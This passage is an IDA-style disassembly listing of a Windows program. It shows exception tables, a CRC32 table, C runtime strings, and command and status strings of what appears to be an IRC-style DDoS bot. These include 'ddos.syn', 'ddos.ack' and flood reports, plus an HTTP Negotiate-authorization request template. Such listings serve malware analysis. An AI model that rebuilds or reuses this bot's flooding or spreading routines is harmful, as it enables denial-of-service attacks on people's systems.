					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------


loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h


loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 25D0000h, 25D0151h, 25E0000h, 25E05BAh, 25F0000h, 25F0CE5h
		dd 2600000h, 26004EAh, 26005B0h, 26009E2h, 2610000h, 2610764h
		dd 2620000h, 262084Dh, 2620B32h
dword_42403C	dd 2620B4Eh		; DATA XREF: ___:0041F496r
		dd 2620BECh, 2620E29h, 2620E64h, 2630000h, 26302CBh, 26302E2h
dword_424058	dd 26308B3h		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 263093Eh, 2630B98h
dword_424064	dd 2630F90h		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 2640000h, 264047Bh
dword_424070	dd 2650000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 26510A0h		; DATA XREF: sub_4168E9+Br
dword_424078	dd 2651922h		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2660000h, 2670000h
dword_424084	dd 26707CBh		; DATA XREF: sub_40AB7C+36r
		dd 2670A57h
dword_42408C	dd 2670ADCh		; DATA XREF: sub_4168E9:loc_41697Ar
		dd 2670B22h, 2680000h, 2690000h, 26A0000h
dword_4240A0	dd 26A0C0Ah		; DATA XREF: sub_4165C6+32r
		dd 26B0000h, 26B0365h, 26B03F3h, 26C0000h, 26C05EAh, 26D0000h
dword_4240BC	dd 26E0000h		; DATA XREF: sub_408EE5+26r
		dd 26F0000h, 77F7E300h,	77F7E21Fh, 26F0D06h, 2700000h
		dd 270064Dh
dword_4240D8	dd 270094Fh		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 2710000h		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 2710771h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 2720000h
dword_4240E8	dd 2730000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 2730BA2h		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 2730BE1h
dword_4240F4	dd 2740000h		; DATA XREF: sub_409392+56r
		dd 27401D3h, 2740795h
dword_424100	dd 2740D6Eh		; DATA XREF: sub_40981F+2r
		dd 2750000h, 2760000h, 27607B7h, 2770000h, 2770401h, 2780000h
		dd 278062Eh, 2780B1Eh, 2790000h, 279118Dh, 279123Ah, 27A0000h
		dd 27A0450h, 27A0802h
dword_42413C	dd 27A0DABh		; DATA XREF: sub_40B56C+79r
					; sub_416810+3Ar
dword_424140	dd 27B0000h		; DATA XREF: sub_40B56C+3Br
					; sub_416717+23r
		dd 27B1523h, 27C0000h, 77E75CB5h
dword_424150	dd 27D0000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 27E0000h, 27E0D27h, 27E0DAEh
dword_424160	dd 27F0000h		; DATA XREF: ___:loc_40E864r
		dd 27F038Dh
dword_424168	dd 27F09C7h		; DATA XREF: sub_4165C6:loc_4166B2r
		dd 27F0AEAh, 27F0BA6h, 27F0CB1h, 2800000h, 28005DAh, 28007F6h
		dd 2800902h, 2810000h, 2820000h, 2830000h, 2840000h, 2850000h
		dd 2851AAAh, 2851AE6h, 2860000h, 2860E0Dh, 2870000h
dword_4241B0	dd 28705FFh		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 2870746h		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 28708A7h, 2880000h, 28806E2h, 2890000h, 28A0000h, 28A138Dh
		dd 28A1CA8h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_415450+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_433C6Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_433C68o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_435EBCo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_4362FCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_436A1Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 436A1Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_436A34	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_436A34
		dd offset dword_424DB0+4
off_424DD8	dd offset off_436A54	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_436A54
		dd offset dword_424DFC+4
off_424E24	dd offset off_436A74	; DATA XREF: ___:00424E3Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424E48	dd 3 dup(0)		; DATA XREF: ___:00424E6Co
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
		dd offset off_436A74
		dd offset dword_424E48+4
off_424E70	dd offset off_436A98	; DATA XREF: ___:00424E88o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E70
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_436A98
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_436A1C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_436A1C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_436A34
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_436A54
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
		dd offset off_436A74
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(6929C418h), 5 dup(277655D4h), 5 dup(6E1F9CCh)
		dd 7Ah dup(0)
		db 0CCh
		db 0F9h, 0E1h, 6
		dd 0
		dd 6929C418h, 12h dup(0)
		dd 277655D4h, 319h dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
